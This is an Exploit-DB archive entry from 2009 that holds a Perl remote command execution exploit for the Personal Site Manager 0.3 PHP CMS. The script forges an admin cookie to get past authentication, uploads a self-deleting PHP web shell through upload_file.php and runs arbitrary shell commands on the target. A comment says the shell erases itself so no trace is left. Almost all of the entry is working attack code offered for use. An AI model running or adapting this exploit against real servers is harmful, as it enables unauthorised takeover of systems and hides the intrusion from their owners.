Personal Site Manager <= 0.3 - Remote Command Execution Exploit

2009-01-29T00:00:00
ID EDB-ID:7905
Type exploitdb
Reporter darkjoker
Modified 2009-01-29T00:00:00

Description

Personal Site Manager <= 0.3 Remote Command Execution Exploit. Webapps exploit for php platform

                                        
                                            # --+++===========================================================================+++--
# --+++====== Personal Site Manager &lt;= 0.3 Remote Command Execution Exploit ======+++--
# --+++===========================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
use IO::Socket;

my $hostname = shift;
my $path = shift;
my $cmd = join " ", @ARGV;

usage () if (!$path);

open SHELL, "&gt;shell.php";

# shell.php will be delete, it won't leave any trace about exploit's run
print SHELL "&lt;? system (\$_GET ['cmd']); unlink ('shell.php'); ?&gt;";
close SHELL;

my $url = "http://${hostname}${path}/psm/upload_file.php?submit=banane";
my $lwp = LWP::UserAgent-&gt;new;

# This CMS is also vulnerable to Insicure Cookie Handling
$lwp-&gt;default_header('Cookie' =&gt; "PSMADMIN=true");

my $req = $lwp-&gt;request (
              POST $url,
              Content_Type =&gt; 'multipart/form-data',
               Content      =&gt; [upload =&gt; ["shell.php"]],
             );
unlink ("shell.php");

if ($req-&gt;is_success)
{
    my $sock = new IO::Socket::INET (
        PeerHost =&gt; $hostname,
        PeerPort =&gt; 80,
        Proto    =&gt; "tcp",
    );
    print "\n[+] Running ${cmd}...\n\n";
    $cmd =~ s/ /%20/g;
    print $sock "GET ${path}/psm/datastore/files/shell.php?cmd=${cmd}\r\n\r\n";
    
    print $_ while (&lt;$sock&gt;);

    close ($sock);
    print "\n";
}
else
{
    print "[-] Unable to end execution.\n";
}

sub usage
{
    die "\n[+] Personal Site Manager &lt;= 0.3 Remote Command Execution Exploit".
        "\n[+] Author  : darkjoker".
        "\n[+] Site    : http://darkjoker.net23.net".
        "\n[+] Download: http://garr.dl.sourceforge.net/sourceforge/psm/psm_0_3.zip".
        "\n[+] Usage   : perl ${0} &lt;hostname&gt; &lt;path&gt; &lt;cmd&gt;".
        "\n[+] Ex.     : perl ${0} localhost /PSM ls -l".
        "\n\n";
}

# milw0rm.com [2009-01-29]